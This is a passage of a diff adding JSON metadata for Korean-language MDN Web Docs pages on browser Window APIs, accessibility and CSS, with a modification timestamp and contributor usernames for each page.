+    "modified": "2020-10-15T22:26:46.832Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Window/event": {
+    "modified": "2020-10-15T22:02:39.854Z",
+    "contributors": [
+      "alattalatta",
+      "JCORP"
+    ]
+  },
+  "Web/API/Window/frameElement": {
+    "modified": "2020-10-15T22:26:48.500Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Window/getComputedStyle": {
+    "modified": "2020-10-15T21:22:01.191Z",
+    "contributors": [
+      "sominlee",
+      "alattalatta",
+      "dotorify",
+      "dalgos",
+      "fscholz",
+      "sirparang"
+    ]
+  },
+  "Web/API/Window/getSelection": {
+    "modified": "2019-03-23T22:29:25.391Z",
+    "contributors": [
+      "veshboo",
+      "WonbaeLee"
+    ]
+  },
+  "Web/API/Window/history": {
+    "modified": "2020-10-15T22:00:33.418Z",
+    "contributors": [
+      "alattalatta",
+      "GracefulLight"
+    ]
+  },
+  "Web/API/Window/innerWidth": {
+    "modified": "2020-10-15T21:37:10.524Z",
+    "contributors": [
+      "alattalatta",
+      "pi1992",
+      "minuJeong"
+    ]
+  },
+  "Web/API/Window/length": {
+    "modified": "2020-10-15T22:19:30.019Z",
+    "contributors": [
+      "guyeol"
+    ]
+  },
+  "Web/API/Window/localStorage": {
+    "modified": "2020-10-15T21:38:02.780Z",
+    "contributors": [
+      "alattalatta",
+      "zynkn",
+      "dvmoomoodv",
+      "hallower",
+      "wizardbear",
+      "jayjin"
+    ]
+  },
+  "Web/API/Window/location": {
+    "modified": "2020-10-15T21:42:32.475Z",
+    "contributors": [
+      "alattalatta",
+      "pjc0247"
+    ]
+  },
+  "Web/API/Window/matchMedia": {
+    "modified": "2020-10-15T22:11:42.169Z",
+    "contributors": [
+      "alattalatta",
+      "dragmove"
+    ]
+  },
+  "Web/API/Window/name": {
+    "modified": "2019-03-23T22:32:03.919Z",
+    "contributors": [
+      "paikwiki",
+      "Dragonholux"
+    ]
+  },
+  "Web/API/Window/navigator": {
+    "modified": "2020-10-15T22:26:55.432Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Window/open": {
+    "modified": "2020-10-15T22:13:16.786Z",
+    "contributors": [
+      "jeongchaeuk"
+    ]
+  },
+  "Web/API/Window/opener": {
+    "modified": "2020-10-15T21:50:11.480Z",
+    "contributors": [
+      "alattalatta",
+      "HyunkwonEddie-Cho"
+    ]
+  },
+  "Web/API/Window/orientationchange_event": {
+    "modified": "2019-04-02T12:02:29.891Z",
+    "contributors": [
+      "fscholz",
+      "ExE-Boss",
+      "junho85"
+    ]
+  },
+  "Web/API/Window/outerWidth": {
+    "modified": "2019-03-23T22:46:47.494Z",
+    "contributors": [
+      "pi1992"
+    ]
+  },
+  "Web/API/Window/pageYOffset": {
+    "modified": "2020-10-15T22:20:34.185Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Window/popstate_event": {
+    "modified": "2020-10-15T21:46:24.819Z",
+    "contributors": [
+      "alattalatta",
+      "chrisdavidmills",
+      "irenesmith",
+      "ExE-Boss",
+      "fscholz",
+      "joshua1988"
+    ]
+  },
+  "Web/API/Window/postMessage": {
+    "modified": "2020-10-15T22:10:00.953Z",
+    "contributors": [
+      "yuyuny",
+      "monadgon",
+      "ByeongGi"
+    ]
+  },
+  "Web/API/Window/prompt": {
+    "modified": "2020-10-15T21:39:32.282Z",
+    "contributors": [
+      "alattalatta",
+      "Parcovia",
+      "."
+    ]
+  },
+  "Web/API/Window/requestAnimationFrame": {
+    "modified": "2020-10-15T22:05:43.676Z",
+    "contributors": [
+      "cs09g",
+      "Snark"
+    ]
+  },
+  "Web/API/Window/requestIdleCallback": {
+    "modified": "2020-10-15T22:01:12.462Z",
+    "contributors": [
+      "alattalatta",
+      "jeonnoej"
+    ]
+  },
+  "Web/API/Window/resizeTo": {
+    "modified": "2020-11-27T05:37:13.601Z",
+    "contributors": [
+      "SyngEiEi",
+      "alattalatta",
+      "ksyeng"
+    ]
+  },
+  "Web/API/Window/resize_event": {
+    "modified": "2019-04-30T13:44:34.193Z",
+    "contributors": [
+      "wbamberg",
+      "chrisdavidmills",
+      "irenesmith",
+      "ExE-Boss",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/Window/scrollTo": {
+    "modified": "2019-03-23T22:45:38.639Z",
+    "contributors": [
+      "benant"
+    ]
+  },
+  "Web/API/Window/scrollX": {
+    "modified": "2020-10-15T22:18:02.280Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Window/scrollY": {
+    "modified": "2020-10-15T21:56:48.639Z",
+    "contributors": [
+      "alattalatta",
+      "jeonnoej"
+    ]
+  },
+  "Web/API/Window/self": {
+    "modified": "2020-10-15T22:15:48.731Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Window/sessionStorage": {
+    "modified": "2020-10-15T21:38:39.029Z",
+    "contributors": [
+      "alattalatta",
+      "es-lee",
+      "hallower"
+    ]
+  },
+  "Web/API/Window/status": {
+    "modified": "2019-03-23T22:46:22.063Z",
+    "contributors": [
+      "pi1992"
+    ]
+  },
+  "Web/API/Window/stop": {
+    "modified": "2019-03-23T22:12:45.276Z",
+    "contributors": [
+      "BANIP"
+    ]
+  },
+  "Web/API/Window/toolbar": {
+    "modified": "2019-03-23T22:31:57.987Z",
+    "contributors": [
+      "Dragonholux"
+    ]
+  },
+  "Web/API/Window/top": {
+    "modified": "2020-10-15T21:59:06.721Z",
+    "contributors": [
+      "alattalatta",
+      "Star_Man"
+    ]
+  },
+  "Web/API/Window/unload_event": {
+    "modified": "2020-10-15T22:30:21.828Z",
+    "contributors": [
+      "alattalatta",
+      "SeonHyungJo"
+    ]
+  },
+  "Web/API/Window/window": {
+    "modified": "2019-03-23T22:46:22.936Z",
+    "contributors": [
+      "pi1992"
+    ]
+  },
+  "Web/API/WindowEventHandlers": {
+    "modified": "2020-10-15T21:46:21.497Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz"
+    ]
+  },
+  "Web/API/WindowEventHandlers/onhashchange": {
+    "modified": "2020-10-15T21:48:40.089Z",
+    "contributors": [
+      "limkukhyun",
+      "cs09g",
+      "TimeExplore"
+    ]
+  },
+  "Web/API/WindowEventHandlers/onpopstate": {
+    "modified": "2019-03-23T22:33:09.328Z",
+    "contributors": [
+      "joeunha",
+      "joshua1988"
+    ]
+  },
+  "Web/API/WindowEventHandlers/onstorage": {
+    "modified": "2020-10-15T22:33:23.208Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/WindowTimers/setTimeout": {
+    "modified": "2019-03-23T22:22:22.449Z",
+    "contributors": [
+      "DevJang",
+      "TroyTae"
+    ]
+  },
+  "Web/API/Worker": {
+    "modified": "2020-10-15T21:47:12.252Z",
+    "contributors": [
+      "alattalatta",
+      "NFM"
+    ]
+  },
+  "Web/API/Worker/postMessage": {
+    "modified": "2019-03-18T21:39:24.795Z",
+    "contributors": [
+      "TaeYoon2"
+    ]
+  },
+  "Web/API/WritableStream": {
+    "modified": "2020-10-15T22:22:45.743Z",
+    "contributors": [
+      "ahnzaz"
+    ]
+  },
+  "Web/API/XMLHttpRequest": {
+    "modified": "2020-10-15T21:18:13.536Z",
+    "contributors": [
+      "minijaypark",
+      "jswisher",
+      "grizlupo",
+      "cs09g",
+      "MyungGyu",
+      "silmari",
+      "Suguni",
+      "Wafe",
+      "Sebuls"
+    ]
+  },
+  "Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests": {
+    "modified": "2019-05-28T20:54:40.684Z",
+    "contributors": [
+      "jswisher",
+      "project42da"
+    ]
+  },
+  "Web/API/XMLHttpRequest/setRequestHeader": {
+    "modified": "2020-10-15T21:54:18.038Z",
+    "contributors": [
+      "jswisher",
+      "alattalatta",
+      "chatoo2412",
+      "kidkkr"
+    ]
+  },
+  "Web/API/XMLHttpRequest/timeout": {
+    "modified": "2019-05-28T20:54:41.611Z",
+    "contributors": [
+      "jswisher",
+      "wbamberg",
+      "ExE-Boss",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/XMLHttpRequest/upload": {
+    "modified": "2020-10-15T22:30:03.395Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/notification": {
+    "modified": "2019-09-10T05:52:41.419Z",
+    "contributors": [
+      "hyeonseok",
+      "sagnol",
+      "AshfaqHossain",
+      "junho85"
+    ]
+  },
+  "Web/Accessibility": {
+    "modified": "2019-09-09T14:15:43.285Z",
+    "contributors": [
+      "SphinxKnight",
+      "OkHyeon",
+      "young-gratia",
+      "nacyot",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/Accessibility/ARIA": {
+    "modified": "2020-01-12T10:16:30.044Z",
+    "contributors": [
+      "alattalatta",
+      "young-gratia",
+      "teoli",
+      "Cho.Eun"
+    ]
+  },
+  "Web/Accessibility/ARIA/ARIA_Live_Regions": {
+    "modified": "2020-12-05T03:30:43.763Z",
+    "contributors": [
+      "movegun1027"
+    ]
+  },
+  "Web/Accessibility/ARIA/ARIA_Techniques": {
+    "modified": "2020-01-12T02:25:07.876Z",
+    "contributors": [
+      "alattalatta",
+      "dcondrey"
+    ]
+  },
+  "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute": {
+    "modified": "2019-05-20T02:23:29.902Z",
+    "contributors": [
+      "dasom0801"
+    ]
+  },
+  "Web/Accessibility/ARIA/Roles": {
+    "modified": "2019-03-18T21:24:18.888Z",
+    "contributors": [
+      "estelle"
+    ]
+  },
+  "Web/Accessibility/ARIA/Roles/dialog_role": {
+    "modified": "2019-03-18T21:24:31.941Z",
+    "contributors": [
+      "seokju-na"
+    ]
+  },
+  "Web/Accessibility/ARIA/forms": {
+    "modified": "2020-12-05T03:35:00.756Z",
+    "contributors": [
+      "movegun1027",
+      "dasom0801"
+    ]
+  },
+  "Web/Accessibility/ARIA/forms/Basic_form_hints": {
+    "modified": "2019-05-20T01:53:49.386Z",
+    "contributors": [
+      "dasom0801"
+    ]
+  },
+  "Web/Accessibility/ARIA/forms/alerts": {
+    "modified": "2019-04-06T02:12:01.060Z",
+    "contributors": [
+      "dasom0801"
+    ]
+  },
+  "Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets": {
+    "modified": "2019-03-23T23:21:28.496Z",
+    "contributors": [
+      "dotorify",
+      "teoli",
+      "Cho.Eun"
+    ]
+  },
+  "Web/Accessibility/Mobile_accessibility_checklist": {
+    "modified": "2019-09-08T04:58:59.841Z",
+    "contributors": [
+      "seunghun"
+    ]
+  },
+  "Web/Accessibility/Understanding_WCAG": {
+    "modified": "2020-04-22T11:21:03.173Z"
+  },
+  "Web/Accessibility/Understanding_WCAG/Keyboard": {
+    "modified": "2020-04-22T11:21:04.132Z",
+    "contributors": [
+      "hhn044794"
+    ]
+  },
+  "Web/CSS": {
+    "modified": "2020-03-24T23:49:32.274Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight",
+      "dbwodlf3",
+      "Netaras",
+      "jaeminkim87",
+      "teoli",
+      "jaemin_jo",
+      "Ioseph",
+      "Sebuls",
+      "Jiyoon",
+      "Channy"
+    ]
+  },
+  "Web/CSS/-moz-image-region": {
+    "modified": "2020-10-15T21:37:53.434Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "wjsskanyo"
+    ]
+  },
+  "Web/CSS/-webkit-line-clamp": {
+    "modified": "2020-10-15T22:25:56.637Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/-webkit-overflow-scrolling": {
+    "modified": "2020-10-15T21:37:39.290Z",
+    "contributors": [
+      "alattalatta",
+      "epicsaga"
+    ]
+  },
+  "Web/CSS/::after": {
+    "modified": "2020-10-15T21:37:38.967Z",
+    "contributors": [
+      "alattalatta",
+      "samee",
+      "DeadIntegral",
+      "pelly_ryu",
+      "kuil09"
+    ]
+  },
+  "Web/CSS/::before": {
+    "modified": "2020-10-15T22:26:07.120Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/::placeholder": {
+    "modified": "2020-10-15T22:33:58.412Z",
+    "contributors": [
+      "dusehrla6432"
+    ]
+  },
+  "Web/CSS/:active": {
+    "modified": "2020-10-15T21:55:14.047Z",
+    "contributors": [
+      "alattalatta",
+      "chatoo2412",
+      "LeeJunyeol"
+    ]
+  },
+  "Web/CSS/:checked": {
+    "modified": "2020-10-15T22:28:37.272Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:default": {
+    "modified": "2020-10-15T22:32:39.937Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:defined": {
+    "modified": "2020-10-15T22:32:39.359Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:disabled": {
+    "modified": "2020-10-15T22:27:45.878Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:enabled": {
+    "modified": "2020-10-15T22:27:45.360Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:first": {
+    "modified": "2020-10-15T21:46:53.912Z",
+    "contributors": [
+      "alattalatta",
+      "Abbey100"
+    ]
+  },
+  "Web/CSS/:first-child": {
+    "modified": "2020-10-15T21:49:44.106Z",
+    "contributors": [
+      "alattalatta",
+      "ShihwanKim"
+    ]
+  },
+  "Web/CSS/:first-of-type": {
+    "modified": "2020-10-15T22:32:33.323Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:focus": {
+    "modified": "2020-10-15T22:32:53.126Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:focus-within": {
+    "modified": "2020-10-15T22:04:40.850Z",
+    "contributors": [
+      "alattalatta",
+      "dragmove"
+    ]
+  },
+  "Web/CSS/:fullscreen": {
+    "modified": "2020-10-15T22:33:29.162Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:hover": {
+    "modified": "2020-10-15T22:18:47.333Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:link": {
+    "modified": "2020-10-15T22:18:48.344Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:not": {
+    "modified": "2020-10-15T21:46:19.378Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/:nth-child": {
+    "modified": "2020-10-15T21:53:08.514Z",
+    "contributors": [
+      "alattalatta",
+      "kewlbear"
+    ]
+  },
+  "Web/CSS/:root": {
+    "modified": "2020-10-15T22:26:34.640Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/:visited": {
+    "modified": "2020-10-15T22:15:47.141Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/@charset": {
+    "modified": "2020-10-15T21:45:47.461Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/@font-face": {
+    "modified": "2019-03-23T23:36:07.738Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "mirinae312"
+    ]
+  },
+  "Web/CSS/@font-face/font-display": {
+    "modified": "2020-10-15T22:30:54.274Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/CSS/@import": {
+    "modified": "2020-10-15T21:45:49.357Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/@keyframes": {
+    "modified": "2020-10-15T21:48:02.411Z",
+    "contributors": [
+      "alattalatta",
+      "joshua1988"
+    ]
+  },
+  "Web/CSS/@media": {
+    "modified": "2020-10-15T21:46:08.753Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/@media/prefers-color-scheme": {
+    "modified": "2020-10-15T22:16:57.718Z",
+    "contributors": [
+      "lifeisnovel"
+    ]
+  },
+  "Web/CSS/@namespace": {
+    "modified": "2020-10-15T21:45:48.598Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/@page": {
+    "modified": "2020-10-15T21:45:49.203Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/@supports": {
+    "modified": "2020-10-15T21:39:41.961Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "epicsaga"
+    ]
+  },
+  "Web/CSS/@viewport": {
+    "modified": "2020-10-15T21:46:25.224Z",
+    "contributors": [
+      "alattalatta",
+      "cvrebert"
+    ]
+  },
+  "Web/CSS/@viewport/height": {
+    "modified": "2020-10-15T21:46:24.032Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/@viewport/viewport-fit": {
+    "modified": "2020-10-15T22:22:51.969Z",
+    "contributors": [
+      "chayeoi",
+      "SphinxKnight"
+    ]
+  },
+  "Web/CSS/@viewport/zoom": {
+    "modified": "2020-10-15T21:46:22.320Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/All_About_The_Containing_Block": {
+    "modified": "2020-01-07T10:38:47.261Z",
+    "contributors": [
+      "alattalatta",
+      "nyxchung"
+    ]
+  },
+  "Web/CSS/Alternative_style_sheets": {
+    "modified": "2019-03-23T23:52:49.065Z",
+    "contributors": [
+      "teoli",
+      "Suguni"
+    ]
+  },
+  "Web/CSS/At-rule": {
+    "modified": "2019-03-18T20:41:39.547Z",
+    "contributors": [
+      "alattalatta",
+      "Seonghui",
+      "jihyerish",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/Attribute_selectors": {
+    "modified": "2020-10-15T21:50:30.795Z",
+    "contributors": [
+      "alattalatta",
+      "young-gratia"
+    ]
+  },
+  "Web/CSS/CSS_Animations": {
+    "modified": "2020-10-15T21:40:14.551Z",
+    "contributors": [
+      "alattalatta",
+      "MexieAndCo"
+    ]
+  },
+  "Web/CSS/CSS_Animations/Using_CSS_animations": {
+    "modified": "2019-03-23T23:37:34.998Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Background_and_Borders/Border-image_generator": {
+    "modified": "2019-03-20T10:30:55.489Z",
+    "contributors": [
+      "alattalatta",
+      "young-gratia"
+    ]
+  },
+  "Web/CSS/CSS_Background_and_Borders/Border-radius_generator": {
+    "modified": "2019-03-20T10:29:25.952Z",
+    "contributors": [
+      "alattalatta",
+      "young-gratia"
+    ]
+  },
+  "Web/CSS/CSS_Background_and_Borders/Box-shadow_generator": {
+    "modified": "2019-03-20T10:32:14.015Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds": {
+    "modified": "2019-03-23T23:37:37.611Z",
+    "contributors": [
+      "teoli",
+      "Inyoung",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Backgrounds_and_Borders": {
+    "modified": "2020-08-10T06:40:27.369Z",
+    "contributors": [
+      "alattalatta",
+      "Sheppy"
+    ]
+  },
+  "Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images": {
+    "modified": "2019-04-08T10:28:17.719Z",
+    "contributors": [
+      "alattalatta",
+      "jyqry"
+    ]
+  },
+  "Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds": {
+    "modified": "2019-05-02T02:39:15.426Z",
+    "contributors": [
+      "alattalatta",
+      "yangtaeho"
+    ]
+  },
+  "Web/CSS/CSS_Basic_User_Interface": {
+    "modified": "2020-08-22T11:32:19.551Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight"
+    ]
+  },
+  "Web/CSS/CSS_Box_Model": {
+    "modified": "2019-04-11T11:38:24.806Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras",
+      "Sebastianz"
+    ]
+  },
+  "Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model": {
+    "modified": "2020-08-04T05:49:04.204Z",
+    "contributors": [
+      "alattalatta",
+      "KwangseokWon",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Box_Model/Mastering_margin_collapsing": {
+    "modified": "2020-08-04T05:48:58.017Z",
+    "contributors": [
+      "alattalatta",
+      "ahnjungho",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Charsets": {
+    "modified": "2019-04-25T11:04:17.063Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Color": {
+    "modified": "2020-10-15T22:04:24.231Z",
+    "contributors": [
+      "alattalatta",
+      "hyeran2"
+    ]
+  },
+  "Web/CSS/CSS_Colors/Color_picker_tool": {
+    "modified": "2019-03-18T21:24:14.300Z",
+    "contributors": [
+      "darim"
+    ]
+  },
+  "Web/CSS/CSS_Columns": {
+    "modified": "2019-04-11T11:34:08.500Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Conditional_Rules": {
+    "modified": "2019-04-26T08:57:56.325Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Containment": {
+    "modified": "2020-10-16T09:12:34.130Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/CSS/CSS_Device_Adaptation": {
+    "modified": "2019-04-26T08:58:25.376Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout": {
+    "modified": "2020-08-04T05:49:54.665Z",
+    "contributors": [
+      "alattalatta",
+      "beowolf9",
+      "ljb7977",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container": {
+    "modified": "2019-07-26T22:57:33.143Z",
+    "contributors": [
+      "chansbro",
+      "beowolf9"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/Flexbox의_기본_개념": {
+    "modified": "2019-03-18T20:55:20.567Z",
+    "contributors": [
+      "5JJ",
+      "joeunha",
+      "beowolf9",
+      "silmari",
+      "soonoo",
+      "wankyu",
+      "Latera"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/가변상자의_대표적인_사용례": {
+    "modified": "2019-10-04T18:40:14.389Z",
+    "contributors": [
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Web/CSS/CSS_Flow_Layout": {
+    "modified": "2020-10-25T09:14:50.404Z",
+    "contributors": [
+      "DeadIntegral",
+      "Hwan-Woong-Lee",
+      "cybaj"
+    ]
+  },
+  "Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts": {
+    "modified": "2019-09-25T06:26:34.609Z",
+    "contributors": [
+      "Hwan-Woong-Lee",
+      "cybaj"
+    ]
+  },
+  "Web/CSS/CSS_Flow_Layout/대열과_탈대열": {
+    "modified": "2019-09-24T15:45:35.513Z",
+    "contributors": [
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Web/CSS/CSS_Flow_Layout/일반_흐름_속_블록_및_인라인_레이아웃": {
+    "modified": "2019-09-26T08:28:44.702Z",
+    "contributors": [
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_쓰기_모드": {
+    "modified": "2019-09-17T21:10:09.773Z",
+    "contributors": [
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_오버플로": {
+    "modified": "2020-03-10T09:52:12.477Z",
+    "contributors": [
+      "EricByHPHK",
+      "Hwan-Woong-Lee"
+    ]
+  },
+  "Web/CSS/CSS_Fonts": {
+    "modified": "2019-04-25T10:51:28.269Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Generated_Content": {
+    "modified": "2019-04-24T12:43:29.904Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout": {
+    "modified": "2019-03-23T22:19:44.989Z",
+    "contributors": [
+      "miname",
+      "techhtml"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Basic_concepts_of_grid_layout": {
+    "modified": "2019-10-10T16:32:21.410Z",
+    "contributors": [
+      "alattalatta",
+      "dbwodlf3"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Grid_template_areas": {
+    "modified": "2019-10-10T16:54:35.246Z",
+    "contributors": [
+      "chrisdavidmills",
+      "dbwodlf3",
+      "miname"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Layout_using_named_grid_lines": {
+    "modified": "2019-03-23T22:00:52.287Z",
+    "contributors": [
+      "chrisdavidmills",
+      "dbwodlf3",
+      "miname"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Line-based_placement_with_CSS_grid": {
+    "modified": "2019-03-23T22:01:04.533Z",
+    "contributors": [
+      "chrisdavidmills",
+      "dbwodlf3",
+      "miname"
+    ]
+  },
+  "Web/CSS/CSS_Grid_Layout/Relationship_of_grid_layout": {
+    "modified": "2019-03-23T22:01:05.023Z",
+    "contributors": [
+      "chrisdavidmills",
+      "dbwodlf3",
+      "miname",
+      "sarojaba"
+    ]
+  },
+  "Web/CSS/CSS_Images": {
+    "modified": "2020-08-05T10:48:34.252Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS": {
+    "modified": "2020-08-05T10:28:13.719Z",
+    "contributors": [
+      "alattalatta",
+      "corean",
+      "ingee.kim"
+    ]
+  },
+  "Web/CSS/CSS_Images/Using_CSS_gradients": {
+    "modified": "2020-08-05T10:27:39.634Z",
+    "contributors": [
+      "alattalatta",
+      "albertkang1004"
+    ]
+  },
+  "Web/CSS/CSS_Lists_and_Counters": {
+    "modified": "2019-04-24T12:48:26.621Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters": {
+    "modified": "2020-06-15T04:03:26.893Z",
+    "contributors": [
+      "lee.juyoung.1978",
+      "citrus.alice"
+    ]
+  },
+  "Web/CSS/CSS_Logical_Properties": {
+    "modified": "2019-04-25T12:25:18.617Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Masks": {
+    "modified": "2019-04-26T08:55:40.990Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Miscellaneous": {
+    "modified": "2019-03-23T22:32:29.213Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Namespaces": {
+    "modified": "2019-04-26T08:57:19.875Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Pages": {
+    "modified": "2019-04-24T12:50:22.680Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Positioning": {
+    "modified": "2019-04-21T01:25:04.626Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/Understanding_z_index": {
+    "modified": "2020-02-05T05:13:01.140Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index": {
+    "modified": "2020-02-05T05:13:01.975Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float": {
+    "modified": "2020-02-05T05:13:01.825Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1": {
+    "modified": "2020-02-05T05:13:02.108Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2": {
+    "modified": "2020-02-05T05:13:02.229Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3": {
+    "modified": "2020-02-05T05:13:02.358Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index": {
+    "modified": "2020-02-05T05:13:01.179Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context": {
+    "modified": "2020-11-23T02:40:41.896Z",
+    "contributors": [
+      "degurii",
+      "SphinxKnight",
+      "alattalatta",
+      "mixed80",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/CSS/CSS_Ruby": {
+    "modified": "2019-04-25T10:56:54.378Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Scroll_Snap_Points": {
+    "modified": "2019-04-14T23:39:58.448Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Selectors": {
+    "modified": "2020-08-22T11:28:21.089Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/CSS/CSS_Shapes": {
+    "modified": "2019-04-25T10:46:18.309Z",
+    "contributors": [
+      "alattalatta",
+      "seunghun",
+      "Netaras"
+    ]
+  },
+  "Web/CSS/CSS_Table": {
